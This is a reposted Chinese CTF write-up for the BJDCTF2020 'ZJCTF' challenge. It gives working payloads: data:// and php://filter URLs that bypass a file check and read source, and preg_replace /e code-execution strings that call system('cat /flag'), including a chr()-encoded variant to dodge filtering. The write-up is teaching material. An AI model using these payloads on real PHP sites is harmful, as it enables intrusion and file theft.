[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞

news2025/1/16 21:56:04

 

目录

preg_replace的/e模式

为什么要变为 {${phpinfo()}}

另一个方法

版本


<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

直接看看代码

首先 text file获取参数

判断 text为空 和 读取 text的文件内容 并且要为 I have a dream

这里可以使用data伪协议绕过 让 text识别到 I have a dream
本地测试一下就知道了

通过 data获取 I have a dream 得到该数据 这样 就可以绕过判断

然后文件包含 提示我们 next.php

include很显然就是使用伪协议 我们直接php://来读取

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

 解密

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
访问期间全局保存 id


function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
这里很关键

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
将get的值 作为 re->str类型  

function getFlag(){
	@eval($_GET['cmd']);
}
执行命令

我们看看其中关键的内容

preg_replace的/e模式

这里主要是使用了 prg_replace的危险参数 /e

可执行参数

就可以将第二个参数作为命令执行

所以上面其实 就是匹配

'/(' . $re . ')/ei',    'strtolower("\\1")',


就是 eval(strtolower("\\1"))

但是 \\1 在正则中存在自己的作用

其实就是匹配第一项

这里给出例子

 preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);

regex是我们的参数值 即 get的名称  value是传入的参数

.*=phpinfo()


所以就变为了

 preg_replace('/(.*)/ei', 'strtolower("\\1")',phpinfo());

但是这里是无法执行phpinfo()的

为什么要变为 {${phpinfo()}}

首先我们要知道

$a=hello

$$a=world   

这里相当于 

$hello=world


所以

echo $a $hello

为

hello world

我们接着理解一下

${phpinfo()}

执行完会变为 ${1} 因为 phpinfo()通过var_dump返回的是1

所以strtolower 变为 strtolower({${1}})

接着变为 strtolower({null}) 

这里还存在一个问题

如果我们输入 ?.*

作为 get的名字的话

无法执行

因为对于get非法参数会自动替换为 _

但是我们如果输入 一个大写字母就可以实现 

例如 ?.* ---> ?_*

    ?\S* ---> ?\S*

使用了其他正则

就是 \S 匹配非空

这道题我们需要执行 getFlag

所以我们修改 参数

这里我们需要了解 主要是要让第二个参数 作为命令执行

preg_replace(正则,需要执行的命令,原本的值)

我们现在需要

strtolower("\1")为我们的"原本的值"来作为命令执行

而strtolower("\1")要为命令 就需要原本的值是命令

而我们需要通过${phpinfo()}直接执行 phpinfo()

这里执行完phpinfo() 就会变为strtolower("${phpinfo()}")-->strtolower("${1}")-->null

 这里说太多了 主要就是让第二个参数为 phpinfo即可

我们需要通过 ${}来解析phpinfo() 否则还是无法执行命令

next.php?\S*={${getFlag()}}&cmd=system('cat /flag');

这里flag就出来了

这里主要理解 ${phpinfo()}

我们不在意匹配后的字符串是什么

而是沟通过${}来直接解析phpinfo()

另一个方法

这里既然我们可以通过 第二个参数直接解析那我们直接替换为命令即可

我们直接通过 system("cat /flag"); 看看能不能执行

发现报错了 说明存在过滤

我们直接通过 chr拼接字符即可

?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}


system(cat /flag)

执行成功

获得flag

版本

/e模式在php5.5.x版本已经弃用了,但是根据我实验,在5.6.9版本下,虽然会报错,但是还能够使用这个特性

 7.0之后的版本就不能用

[BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此_Sk1y的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/998067.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蓝桥杯备赛Day8——队列

大家好,我是牛哥带你学代码,本专栏详细介绍了蓝桥杯备赛的指南,特别适合迎战python组的小白选手。专栏以天作为单位,定期更新,将会一直更新,直到所有数据结构相关知识及高阶用法全部囊括,欢迎大家订阅本专栏! 队列也属于基础数据结构。 队列概念 队列是一种数据结构,…

谷粒学院笔记

p37 vscode安装插件 p51 前端技术 vue生命周期 前端debug p57 nodejs介绍 下载后安装 cmd node -v node 01.js 类似java运行class文件 nodejs作为服务器(了解)

树的引进以及二叉树的基础讲解——【数据结构】

W...Y的主页 &#x1f60a; 代码仓库分享 &#x1f495; 当我们学习完前面的数据结构&#xff0c;难度也就会上升&#xff0c;但是这个也是非常重要的数据结构。今天我们来学习一种新的数据类型——树。 目录 树的概念以及结构 树的概念 树的相关概念 树的表示 树在实…

【项目管理】PM vs PMO 18点区别

导读&#xff1a;项目经理跟PMO主要有哪些区别&#xff1f;首先从定义上了解&#xff0c;然后根据其他维度进行对比分析&#xff0c;基本可以了解这二者的区别&#xff0c;文中罗列18点区别供各位参考。 目录 1、定义 1.1 PMO 1.2 PM 2、两者区别 2.1 ROI 2.2 项目成功率…

Apache HTTPD (CVE-2017-15715)换行解析漏洞复现

Apache HTTPD 换行解析漏洞 CVE-2017-15715漏洞简介 组件版本漏洞名称 Apache HTTPD 换行解析漏洞&#xff08;CVE-2017-15715&#xff09; 漏洞描述 ​ Apache HTTPD是一款HTTP服务器&#xff0c;它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞&…

微信小程序本地生活(列表页面)

一、实现效果 二、实现步骤 主要实现功能&#xff1a; 页面导航并传参上拉触底时加载下一页数据下拉刷新列表数据 实现步骤 创建列表页面动态设置页面标题定义数据&#xff0c;发起请求获取数据渲染数据并美化样式实现上拉加载数据效果对上拉触底进行节流处理上拉触底请求数…

SSMP整合综合案例【SpringBoot的基本增删改查】

一、基本页面 主页面 添加 删除 分页 条件查询 实体类开发————使用Lombok快速制作实体类 Dao开发————整合MyBatisPlus&#xff0c;制作数据层测试 Service开发————基于MyBatisPlus进行增量开发&#xff0c;制作业务层测试类 Controller开发————基于Restful…

【计算机网络】什么是WebSocket?

目录 WebSocket简介协议优点使用场景 WebSocket WebSocket是一种网络传输协议,可在单个TCP连接上进行全双工通信&#xff0c;位于OSI模型的应用层。 WebSocket使得客户端和服务器之间的数据交换变得更加简单&#xff0c;允许服务器主动向客户端推送数据。在WebSocket API中&a…

第7篇 vue的模块化与babel的转换

一 babel的转换 1.1 babel的转换 Babel是一个广泛使用的转码器&#xff0c;可以将ES6代码转为ES5代码&#xff0c;从而在现有环境执行执行。 可以现在就用 ES6 编写程序&#xff0c;而不用担心现有环境是否支持。 1.2 案例 1.新建工程&#xff0c;初始化&#xff1a; npm …

【数字人】使用Mixamo动画资源

使用Mixamo动画资源 一、获取资源和数据处理1. 获取资源2. 模型选择3. 绑定骨骼4. 动画检索5. 动画参数二、面向不同平台的处理1. 面向Unity平台的使用2. 面向UE平台的使用Mixamo是一个提供动画资源的在线平台,在游戏、虚拟现实、动画等项目添加高质量的人物动画方面实现降本增…

java面试题(17):链表两数相加

两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;这两个数都不会以 0 开头…

Unity Asset Bundle Browser 工具

Unity Asset Bundle Browser 工具 您可以在 Unity 项目中使用 Asset Bundle Browser 工具能够查看和编辑资源包的配置。 有关更多信息&#xff0c;请参阅 Unity Asset Bundle Browser 文档。 注意&#xff1a;此工具是不受支持的实用程序。查看极大的资源包可能会导致性能下…

Linux内存管理--smaps内存

一、内存的两个概念 了解smaps内存之前要先搞清楚Linux内存管理中的虚拟内存&#xff08;Virtual Memory&#xff09;和驻留内存&#xff08;Resident Memory&#xff09;两个概念。 1、虚拟内存 首先需要强调的是虚拟内存不同于物理内存&#xff0c;虽然两者都包含内存字眼…

数电课程设计——课设一:加减计数器

为了帮助大家更好学习FPGA硬件语言&#xff0c;创立此资源 包含文件有&#xff1a;实验报告、仿真文件&#xff0c;资料很全&#xff0c;有问题可以私信 一、实验内容 1、利用QuartusII和Modelsim实现100进制可逆计数器编码显示实验。 二、实验步骤 &#xff08;1&#xff…

GCP Architect之VPN+Network

VPN 搜索结果共计:11 [单选]As part of implementing their disaster recovery plan, your company is trying to replicate their production MySQL database from their private data center to their GCP project using a Google Cloud VPN connection. They are experien…

compressor/limiter/expander/noisegate相关总结

一&#xff0c;简介 在学习音频数字信号处理的DRC&#xff08;Dynamic Range Control&#xff09;时&#xff0c;遇到几个概念&#xff0c;分别是compressor/limiter/expander/noisegate&#xff0c;本篇文章谈一谈我对这些模块的理解。 二&#xff0c;Compressor&#xff08…

线性代数的本质(二)

文章目录 线性变换与矩阵线性变换与二阶方阵常见的线性变换复合变换与矩阵乘法矩阵的定义列空间与基矩阵的秩逆变换与逆矩阵 线性变换与矩阵 线性变换与二阶方阵 本节从二维平面出发学习线性代数。通常选用平面坐标系 O x y Oxy Oxy &#xff0c;基向量为 i , j \mathbf i,…

MySQL高级篇_16_MVCC多版本并发控制_尚硅谷_宋红康

MySQL高级篇_MVCC多版本并发控制 1. 什么是MVCC&#xff08;多版本并发控制&#xff09;2. 快照读与当前读2.1 快照读2.2 当前读 3. 复习3.1 再谈隔离级别3.2 隐藏字段、Undo Log版本链 4. MVCC实现原理之ReadView4.1 什么是ReadView4.2 设计思路4.3 ReadView的规则4.4 MVCC整体…

自动驾驶多任务框架Hybridnets——同时处理车辆检测、可驾驶区域分割、车道线分割模型部署(C++/Python)

一、多感知任务 在移动机器人的感知系统&#xff0c;包括自动驾驶汽车和无人机&#xff0c;会使用多种传感器来获取关键信息&#xff0c;从而实现对环境的感知和物体检测。这些传感器包括相机、激光雷达、雷达、惯性测量单元&#xff08;IMU&#xff09;、全球导航卫星系统&am…

Linux UDP编程流程

文章目录 UDP编程流程UDP协议无连接的特点UDP协议数据报的特点 UDP编程流程 UDP 提供的是无连接、不可靠的、数据报服务。服务器端和客户端没有什么本质上的区别。编程流程如下&#xff1a; socket()用来创建套接字&#xff0c;使用 udp 协议时&#xff0c;选择数据报服务 SOC…